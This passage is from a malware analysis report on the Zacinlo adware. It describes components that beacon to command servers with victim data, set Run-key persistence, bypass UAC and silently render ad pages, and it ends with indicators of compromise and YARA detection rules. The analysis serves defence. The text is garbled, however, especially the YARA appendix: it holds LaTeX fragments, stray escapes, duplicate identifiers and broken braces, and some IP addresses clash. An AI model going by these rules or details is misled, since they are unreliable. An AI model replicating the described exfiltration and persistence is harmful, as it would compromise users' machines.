4c2f008e4e5a6b8f84f5c7c6b80765242bd7c7910ce09401d3350f8f775931a31c18d60fe5e5e1e2f50f6d51801f15f0f952 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Accept: */*
Connection: keep-alive
Accept-Language: zh-CN
Content-Type: image/jpeg
Content-Length: 13441
Accept-Encoding: gzip, deflate
Host: 9006.p9l.com

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Tue, 19 Feb 2018 00:01:42 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z-IP: 100.183.135.196

ok
```

Another request is made to receive a list of file names that is used to compare the auto run file name entries from Registry path

HKLM\Software\Microsoft\Windows\CurrentVersion\Run and HKCU\Software\Microsoft\Windows\CurrentVersion\Run and existing services. The matched entries are sent back along with the full file path of the binary to another API of the same C&C.
AV Info Service

The component corresponds to `qdcomsvc.exe` file. This component is a simpler version of the Adware Killer with less functionality. It searches for AV processes, send information about other running adware components, checks `drmkpro64`. The component can be started with the following commandline parameters:

**install**

Will install itself as `qdcomsvc` as a service in Registry. The service will be started with `/svc` parameter.

**svc**

Service Control Manager will start the process with this parameter (will register service handlers).

**Dataup**

The component corresponds to `dataup.exe` file. This component uses the following libraries to function:

- `help_dll.dll` – library which exports three functions:
  - `HelpDecrypt` – decrypt the provided string
  - `HelpEncrypt` – encrypt the provided string
  - `HelpGuid` – gets the client guid `Liveup` from `HKLM\Software\Microsoft\Network\FileSync`

- `NTSVC.ocx` – it’s a legitimate file used as event log message file

The Dataup component expects two parameters:

- `/i` – register the component as service with the name “Dataup Service” and description as “Detect version consistency of client and server, and get the latest version from the server.”
- `/u` – remove its service
It makes two requests. The first one is to the “www.cdnoptim.com” C&C with the collected client and system information and - depending on the component's file version - the data can be encrypted or not.

For example:

a)  
```
GET /databack.php?db7e74be3af25571e46c4f95a65658e4f7f16367b4b559bc197a7c1c4d8c3c4952f23e53256072f52c5714666ce591ce0d6400585e39d457173431f03f3d38073cbefed4af2f0 HTTP/1.1
Accept: */*
Accept-encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.cdnoptim.com
Connection: Keep-Alive
```
Versions 1.2.0.2 and 1.3.0.3 encrypts the query string:

```
Encrypted query:

=16-pn=192F2EL-PC=3c720088-x=0.8005792&guid=8E15801C-5DAP-4F45-93DE-45EC7975874C
```

Where:

- **pn** – pc name
- **s** – the “TEXT1” value data readed from `dataup.ini` file
- **x** – timestamp
- **guid** – retrieved by calling `HelpGuid`

b)  
```
GET /databack.php?on=GIxEL-PC=3c720088&x=0.8005792 HTTP/1.1
Accept: */*
Accept-encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.jrgube.com
Connection: Keep-Alive
```

Version 1.02.0002 sends unencrypted query string:

The second request depends on the component's file version:

- **Versions 1.2.0.2 and 1.3.0.3** makes requests to “www.58hex.com” C&C:

```
GET /databack.php?on=586IR-PC=3c720088 HTTP/1.1
Accept: */*
Accept-encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.58hex.com
Connection: Keep-Alive
```
Version 1.02.0002 sends requests to 'www.jeegtube.com' C&C:

GET /datablock.php?f=1&file=4.2005948.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.jeegtube.com
Connection: Keep-Alive

By the time of analyzing this component, the C&Cs had already been taken offline, so further analysis becomes impossible at this stage, given the circumstances. Furthermore, it seems that the newer version of this adware removed this behavior.

Regtool

The component corresponds to regtool.exe file.

Its purpose is to set the given components as command line in auto-run registry. It receives a list of “-key=” and “-arg=” as command line arguments. The key argument is the component's name and the arg is the component's executable argument. It is used by the script2 Lua script in order to install svcvmx and cpx components as auto-run executables. To build the component's path on of the paths will be used: “%localappdata%\key\key.exe”, “%programfiles%\key\key.exe” or “%programfiles(x86)%\key\key.exe” in case of a 64bit operating system. The “key” is the “-key=” value argument. This path will be used as data for the auto-run registry value. Depending on the victim's user permissions, the components will be installed as auto-run in “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” if the component is running with administrative permissions, otherwise they will be installed in “HKCU\Software\Microsoft\Windows\CurrentVersion\Run”.

UAC Bypass

The component corresponds to bypass.exe file.

The file contains code from the Metasploit kit to obtain elevated rights. The code is taken from the Metasploit Project's Github page

Earlier Payload

The component corresponds to the c1.exe file.

This component is an earlier version of the Master – Slave (svcvmx-vmxclient) combo and is likewise used for silently rendering webpages in the background and interacting with them.

Instead of interacting with webpages from a Lua script, it achieves this by calling a set of handlers based on an XML file specified by the C&C server. Page rendering is achieved by creating an Internet Explorer ActiveX object inside a hidden window. Furthermore, it can terminate processes and services at the request of the attacker.
Its configuration is embedded in a resource named "ZIP". It is encrypted with a simple xor operation and after decryption, it reveals the following JSON (or at least what we received during the investigation):

```json
{
    "domain": "http://tracking.downloadyee.com",
    "taskinfo": "/_entry/svc/task_info_bin2?",
    "taskinfoparams": "mac=%s&os=%s&svcver=%s&ver=%d",
    "crc": "&crc=%s",
    "feedbackurl": "/_entry/svc/fb?",
    "feedbackparams": "state=ok&id=%s&mac=%s&cc=%d",
    "cookieurl": "http://www.gamecool.info",
    "processnames": ["explorer.exe", "conhost.exe", "taskmgr.exe", "cmd.exe"]
}
```

This configures the malware to contact the C&C server from `domain` with parameters from `taskinfoparams`. An example of such a query is `http://tracking.downloadyee.com/_entry/svc/task_info_bin2?mac=8D0B9B3EC99A91BDDFE8F27A27CF3447&os=x86|1\Win7|32&svcver=7&z=-120&first=0&latest=0&ver=2&crc=11971`,

where `mac` represents an MD5 derived from the adapter and storage information of the computer and is used as a unique ID, `os` is the operating system version, and the rest of the query is related to the malware version. The `crc` parameter represents the computed CRC value on the rest of the query.

The executable has three possible modes of operation based on command line arguments:

If it is started with `start2` as a command line argument, it checks all other arguments against the names of local running processes and terminates any found matches. It then proceeds to terminate processes with base path in the same directory as the malware and names from `processnames` configuration. It creates an identical copy of itself in the same directory it is located in for every name in `processnames`. It then attempts to stop two services named `kadefenader` and `wkadefenader` if they are running and delete their files.

If started with `start` as a command line argument, it creates a new child process with `start2` as an argument instead of `start`; the rest of the arguments are left unchanged. This is the preferred way of starting the malware and it acts as a main process that spawns multiple webpage rendering subprocesses based on the data received from the C&C server.

The final mode of operation is `slave`. It has to be started with `-slave` as a command line argument. This mode requires another 5 arguments to work as intended. These arguments are listed in the intended order: a webpage to visit, an action selector, an integer value that represents the time in milliseconds to stay on the webpage, a flag and the number of times to visit the webpage. After the required number of milliseconds have elapsed, it spawns a new process with 10 seconds added to the visiting time and 1 subtracted from the number of times to visit.

It hides itself from the unsuspecting user by using the `ShowWindow` function from the Windows API to visually hide its window and muting the sound of the embedded browser by patching in memory the `DirectSoundCreate` function from `DSound.dll` and `waveOutWrite` from `winmm.dll`. 
Since this is an older version, the C&C server is not functional at the time of writing this paper.

**Homepage**

The component corresponds to `homepageoptimizer.exe` file.

This component has a GUI and reads a string (webpage). It will send a HTTP GET request to `hxxp://www.esttrak.com/api/` with an encrypted string containing a computer ID, and the entered url. An example string:

```
{"cid":"C218E1D3C9445A785447C4E9008C7191","ver":"1.0.1.1","url":"url.abc"}
```

The response should contain a file, but we were unable to validate this as the C&C server was already offline during the analysis. The entered URL will be stored in Registry in `HKLM\System\CurrentControlSet\Control\Network\homepage`

This component comes with an uninstaller.

**Report**

The component corresponds to the `report.exe` file.

This component is started by another component with the `install` parameter. The purpose of this component is to report information about the victim back to the C&C.

Two requests are created by this component. For both request it uses "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" as user agent. Unfortunately the C&C is down.

The first request is sent to `hxxp://www.ttflb.com/report?s=%d&re=%d`. The parameters of the query string are:

- `s` - "1" if the operating system's architecture is 64bit, otherwise the value is "0"
- `re` - "1" if an antimalware process is found, "0" otherwise
The second request is sent to `http://www.ttflb.com/report?s=%d&qu=%d&t=%d&c=%d`. The parameters from the query string are:

- **s** - “1” if the operating system’s architecture is 64bit, otherwise the value is “0”
- **qu** - “1” if `ndistpr64.sys` is running, “0” otherwise
- **t** - process id of `tprdpw64.exe`, if the process is not running then the value of this field is “0”
- **c** - process id of `ct.exe`, if the process is not running then the value of this field is “0”

Some versions of this component have an additional “v” parameter, for both requests, which represents the version of the binary.

**Component Updater**

The component corresponds to the `splsrv.exe` file.

This component receives 3 parameters:

- **interval** – update interval
- **version** – application version
- **ip** – IP of C&C

It is started by an old Lua script used by an old ct2 component. One of these samples starts this component with the following parameters:

```
-ip="173.192.16.184" -interval=3600 -version="2.0.18.1"
```

After execution, it creates a mutex called `Global\splsrv`. A request is made to retrieve a JSON list of antimalware process names and their product names. This list will be used later to inform the C&C about the running antimalware processes on the victim’s computer.
A new thread is created which is responsible for downloading and updating the components and continuously reporting to the C&C.

The first request made in the new thread is used to inform the C&C panel that this component is running and is checking for new updates.

```
GET /api/queryAks HTTP/1.1
Host: 171.192.16.184
Accept: */*

HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Tue, 17 Apr 2018 18:16:44 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla 0.1.8-c5d
```

The second request downloads a JSON string that contains information about the components needed to be downloaded.

```
GET /api/queryAks HTTP/1.1
Host: 171.192.16.184
Accept: */*

HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Tue, 17 Apr 2018 18:16:44 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla 0.1.8-c5d
```
The third request is used to report back to C&C the running antimalware processes, as well as the name of the adware component needed to be downloaded or updated. This request is made for every component in the JSON array object.

```
GET /interface/queryDetects?86FEB1877B4C3E7994DBD2A2F231DB3B65518C4CC88745A6BB4AC41EDB82676 HTTP/1.1
Host: 173.192.16.184
Accept: */*

HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Wed, 25 Apr 2018 07:54:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 94168655695b23

Base64 encoded data

```

If the response of the third request is not “PASS” then the file will not be downloaded or updated, otherwise the adware component will be downloaded or updated.
Appendix 1: IOCS

Domains

- mrsdaibeiei@gmail.com
  - ssl-zert.mobi
  - tools.zpz.name
  - jeegtube.com
  - yimgcdn.com
  - jeegtube.com
  - opttracker.com
  - userbest.com
  - opt2tracker.com
  - cashext.com
  - gpt9.com
  - liuliangshu.com
  - srvtracker.com
  - ttrwb.com
  - 58hex.com
  - egreader.com
  - enhanced2trk.com
  - cdnoptim.com
  - nptcdn.com

- meilihansd@gmail.com
  - rocketadv.com
  - sisilist.com
  - optimeze.com
  - digximg.com
  - essads.com
  - linkedcdn.com
  - domedex.com
- familyroxker.com
- fibuinfo.com
- enhancedassistant.com
- digxtube.com
- enhancedstats.com
- myvideogamez.com
- eereader.com
- esstrk.com
- answerscdn.com
- optimezer.com
- webhostingreviewboards.net
- rockettrk2.com
- qwee3.com
- gpt7.com
- gpt5.com
- eyemedias.com
- sharps5.com
- sharpproxy.com
- enhancedtrk.com
- esttrk.com
- choicesone.com
- iireader.com
- lifetipsabc.com
- doubleimps.com
- feisearch.com
- trafficsyn.com
- rocketadt.com
- rocketadx.com
Zacinlo

- Registry paths:
  - HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService\svcvmx_time
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\atimode
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_bl
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode2
- User agents used:
  - wget
  - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
- Network activity:
  - cdn.optitc.com
  - optitm.com
  - userbest.com:8080/report/lp
  - yimgcdn.com:8080/rep001/l
- Mutex:
  - Global\SetupMutex_{ABE47B72-0C2F-421F-BFE5-D86F8ABD3570}
- File paths:
  - Folder name generated from a templated prefix

LUA Interpreter

- Service:
  - Windowsmanagementservice
- User agent:
  - SmartService
  - wget
- Network activity:
  - 173.192.28.166
  - opttracker.com
Setup Downloader

- Service:
  - Windowsmanagementservice
- User agent:
  - BypassUac
- Network activity:
  - gpt9.com
  - 174.37.56.248
- Registry paths:
  - HKLM\SOFTWARE\Microsoft\Network\FileSync\Liveup
- File paths:
  - A generated directory name after format „YearMonthDay” in „%temp%” which contains „ct.zip”

Dataup

- Registry paths:
  - HKLM\Software\Microsoft\Network\FileSync\Liveup
- Service:
  - Dataup Service
- Network Activity:
  - cdnoptim.com
  - 58hex.com
  - jeegtube.com
- User agent:
  - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
- Files:
  - Help_dll.dll
  - NTSVC.ocx
Rootkit

- Device name: \\..\DrvProtect
- Registry paths:
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode2
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\atimode
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_st
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_bl
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_pt

Setup dropper

- Registry paths:
  - HKLM\SYSTEM\CurrentControlSet\Network\set_pt
  - HKLM\SYSTEM\CurrentControlSet\Network\atimode

LUA Script 2

- Network activity:
  - gpt9.com
  - 198.8.61.161
  - 173.192.16.184

LUA Script 1

- Network activity:
  - 173.192.28.166
  - 173.192.16.184
Payload Master

- Mutex: Global\SetupMutex_WinMain_07676023_12CC_451E_A37B_ADB00A945814
- Registry paths:
  - HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService\Liveup
  - HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService\install_time
  - HKLM\Software\Microsoft\Windows\CurrentVersion\Run\svcvmx
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set_pt
- Pipe: SVCVMX{72CE8DB0-6EB6-4C24-92E8-A07B77A229F8}
- File paths:
  - %localappdata%\Microsoft\Windows Media\userdata2
- Network activity:
  - client-api.essads.com
- User agent used:
  - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
- Desktop name: srcvmx_desktop

Payload Client

- Mutex: Global\SetupMutex_ED6901A1-2E80-4FABAAD5-84638FC3F82
- Pipe: SVCVMX{72CE8DB0-6EB6-4C24-92E8-A07B77A229F8}
- Network activity: plenty of network connections coming from this process
Appendix 2: Tools for detection and decryption

Yara

import "pe"

rule c_exe
{
    strings:
        $c0 = "desktop.ini" wide
        $c1 = "download.dat" wide
        $d0 = "kadefenader" wide
        $d1 = "wkadecfenader" wide

    condition:
        all of ($c*) or 1 of ($d*)
}

rule zacinlo_exe
{
    strings:
        $c0 = "\CHROME.EXE" fullword ascii
        $c1 = "\FIREFOX.EXE" fullword ascii
        $c2 = "\360CHROME.EXE" fullword ascii
        $c3 = "openssl" ascii
        $d0 = { 73 74 61 72 [1-6] 45 4B 75 70 }
        $e0 = "SeShutdownPrivilege" wide
        $e1 = "SeDebugPrivilege" wide
        $e2 = "TOSHIBA" wide
        $f0 = "tprdpw64" ascii
        $f1 = "tprdpw64" wide
        $f2 = "msidntld.exe" wide
        $f3 = "msidntld.exe" ascii
$g0 = "unzip" ascii
$g1 = "CryptoPP" ascii
$g2 = "TOSHIBA" wide
$g3 = "Bluetooth" wide

$h0 = "version" fullword ascii
$h1 = "parameters" fullword ascii
$h2 = "always_run" fullword ascii
$h3 = "service" fullword ascii
$h4 = "password" fullword ascii
$h5 = "install" fullword ascii
$h6 = "svc" fullword ascii
$h7 = "launch" fullword ascii
$h8 = "param" fullword ascii

$mutex = {c7 [2-6] 7b 00 41 00 c7 [2-6] 42 00 45 00 c7 [2-6] 34 00 37 00 c7 [2-6] 42 00 37 00 c7 [2-6] 32 00 2d 00 c7 [2-6] 30 00 43 00 c7 [2-6] 32 00 46 00 c7 [2-6] 2d 00 34 00 c7 [2-6] 32 00 31 00 c7 [2-6] 46 00 2d 00 c7 [2-6] 42 00 46 00 c7 [2-6] 45 00 35 00 c7 [2-6] 2d 00 44 00 c7 [2-6] 38 00 36 00 c7 [2-6] 46 00 38 00 c7 [2-6] 41 00 42 00 c7 [2-6] 44 00 33 00 c7 [2-6] 35 00 37 00 c7 [2-6] 30 00 7d 00}

$mutex0 = {c7 [2-6] 68 74 74 70 c7 [2-6] 3a 2f 2f 67 c7 [2-6] 70 74 39 2e c7 [2-6] 63 6f 6d 2f c7 [2-6] 61 70 69 2f c7 [2-6] 71 7a 6b 7a}

$mutex1 = {c7 [2-6] 7b 00 41 00 c7 [2-6] 42 00 45 00 c7 [2-6] 34 00 37 00 c7 [2-6] 42 00 37 00 c7 [2-6] 32 00 2d 00 c7 [2-6] 30 00 43 00 c7 [2-6] 32 00 46 00 c7 [2-6] 2d 00 34 00 c7 [2-6] 32 00 31 00 c7 [2-6] 46 00 2d 00 c7 [2-6] 42 00 46 00 c7 [2-6] 45 00 35 00 c7 [2-6] 2d 00 44 00 c7 [2-6] 38 00 36 00 c7 [2-6] 46 00 38 00 c7 [2-6] 41 00 42 00 c7 [2-6] 44 00 33 00 c7 [2-6] 35 00 37 00 c7 [2-6] 30 00 7d 00}

condition:

all of ($c*) or (all of ($d*) and 1 of ($e*)) or (1 of ($f*) and all of ($g*)) or all of ($h*) or 1 of ($mutex*)

}

rule ct2_exe
{
    strings:

    $c0 = "script.lua" ascii
    $c1 = "script2.lua" ascii

    condition:

    1 of them

}

rule ct_exe
strings:
\$c0 = "to install the service" wide
\$c1 = "to remove the service" wide
\n\$d0 = "c:\log.txt" ascii
\$d1 = "script.lua" ascii
\$d2 = "script2.lua" ascii
\$d3 = "version" ascii

condition:
((all of ($c*) or $d0) and #d1 == 0 and #d2 == 0 and #d3 == 0)

rule ct_unknown_exe
{

strings:
\$e0 = "install" fullword ascii
\$e1 = "svc" fullword ascii
\$e2 = "launch" nocase fullword ascii
\$e3 = "param" fullword ascii

\$f0 = "Liveup" fullword wide
\$f1 = "Liveup" fullword ascii

condition:
(all of ($e*) and 1 of ($f*))

}

rule ct2_downloader
{

strings:
\$c0 = "ct.exe" fullword ascii
\$c1 = "ct.zip" fullword ascii

\$d0 = "BINDATA" fullword wide
\$d1 = "BypassUac" wide

condition:
1 of ($c*) and all of ($d*)

}

rule qdcomsvc_exe
{

}
strings:
$c0 = "360tray.exe" wide
$c1 = "a2service.exe" wide
$c2 = "ct=%d&dataup=%d&cpx=%d&svcvmx=%d&qd=%d&szpsrv=%d&spsrv=%d" ascii

d0 = "dataup.exe" wide
d1 = "cpx.exe" wide
d2 = "dct.exe" wide
d3 = "svcvmx.exe" wide
d4 = "spsrv.exe" wide
d5 = "szpsrv.exe" wide

condition: all of them and 1 of ($d*)
}

rule dataup_exe
{
strings:
$c0 = "\ds.vbp" wide
$c1 = "databack.php" wide

condition: all of them
}

rule help_dll
{
strings:
$c0 = "\help_dll.pdb" ascii
$c1 = "HelpDecrypt" fullword ascii
$c2 = "HelpEncrypt" fullword ascii
$c3 = "HelpGuid" fullword ascii

condition: all of them or (pe.exports("HelpDecrypt") and pe.exports("HelpEncrypt") or pe.exports("HelpGuid"))
}

rule NTSVC_ocx
{
strings:
$c0 = "NT Service Control Module" wide
$c1 = "Microsoft" wide
$c2 = "DllCanUnloadNow" fullword ascii
$c3 = “DllGetClassObject” fullword ascii
$c4 = “DllRegisterServer” fullword ascii
$c5 = “DllUnregisterServer” fullword ascii
$c6 = “SYSTEM\CurrentControlSet\Services\EventLog\Application\” ascii
$c7 = “StartService” fullword ascii
$c8 = “EventMessageFile” fullword ascii
$c9 = “LogEvent” fullword ascii
$c10 = “CntSvcCtrl::ServiceMain()” fullword ascii

condition:
  8 of them

rule radardt
{
  strings:
  $a0 = “\Registry\MACHINE\SYSTEM\CurrentControlSet\Control\hivelist” wide
  $a1 = “X:\windows\system32\config\HARDWARE” wide
  $a2 = “\Device\DrvProtect” fullword wide
  $b0 = “[ObProcessPreCall_CREATE]” ascii
  $b1 = “[ObProcessPreCall_DUPLICATE]” ascii
  $b2 = “[RegNtPreSetValueKey]” ascii
  $b4 = “\DATAUP” fullword wide
  $c0 = “\ASWSP.SYS” ascii
  $c1 = “\MBAM.SYS” ascii
  $c2 = “\REGTOOL.EXE” ascii
  $c3 = “\DATAUP.EXE” ascii
  $c4 = “\DRIVERS\WDFILTER.SYS” ascii
  $c5 = “UPDATEADMIN.EXE” ascii
  $c6 = “\SPYHUNTER4.EXE” ascii
  $d1 = “.vmp1” fullword ascii
  $d2 = “.vmp2” fullword ascii
  $d3 = “IoRegisterBootDriverReinitialization” ascii
  $d4 = “ZwOpenSymbolicLinkObject” ascii
  $d5 = “FltRegisterFilter” ascii
  $e0 = “set_st” fullword wide
$$e_1 = \text{"set\_pt" fullword wide}$$
$$e_2 = \text{"atimode" fullword wide}$$
$$e_3 = \text{"PowerMode" fullword wide}$$
$$e_4 = \text{"PowerMode2" fullword wide}$$

$$f_0 = \text{"-starup" wide}$$
$$f_1 = \text{"\Device\DrvProtect" wide}$$
$$f_2 = \text{"\DATAUP.EXE" ascii}$$
$$f_3 = \text{"\CTX.EXE" ascii}$$
$$f_4 = \text{"\SVCVMX.EXE" ascii}$$
$$f_5 = \text{"\TPRDPW64.EXE" ascii}$$
$$f_6 = \text{"TASKMGR.EXE" ascii}$$

condition:

all of ($a*$) or all of ($b*$) or 4 of ($c*$) or all of ($d*$) or all of ($e*$) or 5 of ($f*$)


dir rule regtool_exe

{strings:
$e0 = \text{"bypassuac" ascii}
$e1 = \text{"regtool.pdb" ascii}
condition:
all of them}


dir rule s5_exe

{meta:
  directory = \text{"s5"}
strings:
$e0 = \{42 00 49 00 4E 00 44 00 41 00 54 00 41 00 50 4B\}
$e1 = \text{"BINDATA" fullword wide}
$e2 = \{4B 50 01 D3\}
$e3 = \text{"a.exe" fullword wide}

$e0 = \text{"msidntld32.zip" wide}
$e1 = \text{"msidntld64.zip" wide}
$d2 = "radardt32.zip" wide
$d3 = "radardt64.zip" wide
$d4 = "netfilter3_x86_xp.zip" wide
$d5 = "netfilter3_x64_xp.zip" wide
$d6 = "netfilter3_x86_win7.zip" wide
$d7 = "netfilter3_x64_win7.zip" wide
$d8 = "netfilter3_x86_win8.zip" wide
$d9 = "netfilter3_x64_win8.zip" wide
$d10 = "udisk.zip" wide
$d11 = "udisk32.zip" wide

$d12 = "atad.7niw_46x_3retliften" ascii
$d13 = "atad.7niw_68x_3retliften" ascii
$d14 = "atad.4niw_46x_3retliften" ascii
$d15 = "atad.4niw_68x_3retliften" ascii
$d16 = "atad.8niw_46x_3retliften" ascii
$d17 = "atad.8niw_68x_3retliften" ascii
$d18 = "atad.23tdradar" ascii
$d19 = "atad.46tdradar" ascii
$d20 = "atad.ksidu" ascii
$d21 = "atad.23ksidu" ascii

$d22 = "ndistpr64.sys" ascii
$d23 = "tprdpw64.exe" ascii
$d24 = "ct2.exe" ascii
$d25 = "ct.exe" ascii
$d26 = "msisasrv.sys" ascii
$d27 = "msidntld.exe" ascii
$d28 = "report" ascii

$d29 = "msidntld32.zip" ascii
$d30 = "msidntld64.zip" ascii
$d31 = "radardt32.zip" ascii
$d32 = "radardt64.zip" ascii
$d33 = "netfilter3_x86_xp.zip" ascii
$d34 = "netfilter3_x64_xp.zip" ascii
$d35 = "netfilter3_x86_win7.zip" ascii
$d36 = "netfilter3_x64_win7.zip" ascii
$d37 = "netfilter3_x86_win8.zip" ascii
condition:
  2 of ($c\ast$) and 2 of ($d\ast$) or 4 of ($d\ast$)
}

rule s5_new_exe
{
  strings:
  $d0 = "bottom1.avi" fullword wide
  $d1 = "bottom4.avi" fullword wide
  $d2 = "bottom5.avi" fullword wide
  $d3 = "bar1.avi" fullword wide
  $d4 = "bar2.avi" fullword wide
$d5 = "top1.avi" fullword wide
$d6 = "top2.avi" fullword wide
$d7 = "ilogo1.avi" wide
$d8 = "ilogo2.avi" wide

condition:
  all of them

}

rule old_s5_unknown_exe
{
strings:
  $d0 = "I'm going to start the program" fullword wide
  $d1 = "Warning" fullword wide
  $d2 = "Click to start the program" fullword wide
  $d3 = "Starting" fullword wide
  $d4 = "Starting upgrade" fullword wide

condition:
  all of them

}

rule s5mark_install_exe
{
strings:
  $d0 = "S5mark.lnk" fullword wide
  $d1 = "s5.lnk" fullword wide
  $d2 = "\S5mark.exe" fullword wide
  $d3 = "S5mark.exe" ascii
  $d4 = "s5mark_install.pdb" nocase ascii

  $e0 = "Software" fullword wide
  $e1 = "Classes" fullword wide
  $e2 = "Module" fullword wide
  $e3 = "Module_Raw" fullword wide
  $e4 = "REGISTRY" fullword wide
  $e5 = "APPID" fullword wide
  $e6 = "Software\Microsoft\Windows\CurrentVersion\Uninstall\" fullword wide
  $e7 = "DisplayIcon" fullword wide
  $e8 = "UninstallString" fullword wide
  $e9 = "DisplayName" fullword wide
condition:

3 of ($d^*) or 1 of ($d^*) and all of ($e^*)

rule s5mark_uninstall_exe
{
    strings:
    $d0 = "s5.lnk" fullword wide
    $d1 = "Are you sure to remove s5mark" wide
    $d2 = "Successed to remove s5mark" wide
    $pdb = "s5mark_unit.pdb" nocase ascii
    condition:
    3 of them
}

rule s5mark_panel_exe
{
    strings:
    $pdb = "s5mark_panel.pdb" nocase ascii
    condition:
    1 of them
}

rule mgr_toolbar_old
{
    strings:
    $pdb0 = "work\http-download\" ascii
    $c0 = "ForceRemove" fullword wide
    $c1 = "NoRemove" fullword wide
    $c3 = "NetworkHostSrv" fullword wide
    $c4 = "NetworkHostSvc" fullword wide
    $url0 = "tracking.yeehbuy.com" ascii
    $url1 = "tracking.photoyee.com" ascii
    $url2 = "tracking.weiboniu.com" ascii
    $url3 = "tracking.downloadyee.com" ascii
    $url4 = "tracking.downloadyeah.com" ascii
    $url5 = "tracking.imobitracking.net" ascii
$url6 = "%d/updaterinfo.bin" wide

$d0 = "updaterSvcInfo" ascii
$d1 = "protectctime" ascii
$d1 = "netprotectcount" ascii
$d1 = "protectedSvcInfo" ascii

$e0 = "svcDesc" fullword ascii
$e1 = "infoName" fullword ascii
$e2 = "taskDirName" fullword ascii
$e3 = "upDirName" fullword ascii
$e4 = "BName" fullword ascii
$e5 = "AName" fullword ascii
$e6 = "taskUri" fullword ascii

$mutex0 = "9CD865CA-C319-4BF9-8577-EA6EC7F36AE7" wide

condition:
   1 of ($mutex*) or (2 of ($c*) and (1 of ($pdb*) or 1 of ($url*) or all of ($d*)) or all of ($e*))
}

rule mgr_downloader
{
strings:

$pdb0 = "\download_mgr\" ascii
$pdb2 = "Release\toolbar_setup.pdb" ascii
$pdb3 = "\download_mgr_photoyee\" ascii
$pdb4 = "Release\tb_setup_zip.pdb" ascii
$pdb5 = ":\download\download_mgr" ascii

$mutex0 = "{E9B7658F-E588-4819-9A6E-44DB5590982A}" fullword wide

$c0 = "ad.downloadyee.com" wide
$c1 = "www.trackfiledownload.com" wide
$c2 = "www.yeehbuy.com" wide
$c3 = "/entry/feedbackinfo/" wide
$c4 = "/entry/svc/tbsetup/" wide
$c5 = "/entry/infomgr/svc/" wide
$c6 = "download.dat" fullword ascii
$g0 = "ForceRemove" fullword wide
$g1 = "NoRemove" fullword wide

$h0 = "postkey" fullword ascii
$h1 = "softinfo" fullword ascii
$h2 = "ratio" fullword ascii
$h3 = "url" fullword ascii
$h4 = "exename" fullword ascii
$h5 = "cmd" fullword ascii
$h6 = "foldertype" fullword ascii
$h7 = "download.dat" fullword wide
$h8 = "toolbar" fullword ascii
$h9 = "name" fullword ascii
$h10 = "desc" fullword ascii
$h11 = "eula" fullword ascii
$h12 = "registry" fullword ascii
$h13 = "uniqkey" fullword ascii
$h14 = "linkTitle" fullword ascii

$i0 = "ldtmp.dat" fullword wide

condition:
$mutex0 or 1 of ($pdb*) or 2 of ($c*) or (all of ($g*) and (8 of ($h*) or all of ($i*))
}

rule bypass_exe
{
  strings:
  $c0 = \"\Bypass\" fullword wide
  $c1 = \"\guid.log\" fullword wide

  $d0 = "c:\log.txt" ascii

  $e0 = "ctfmon.zip" ascii

  condition:
  all of ($c*) and $d0 == 0 or $e0
}
rule srlsrv_exe
{
    strings:
    $c0 = „srlsrv” ascii
    $c1 = „srlsrv” wide
    $d0 = „openssl.org” ascii
    $e0 = „-interval” fullword ascii
    $e1 = „-version” fullword ascii
    $e1 = „-ip” fullword ascii

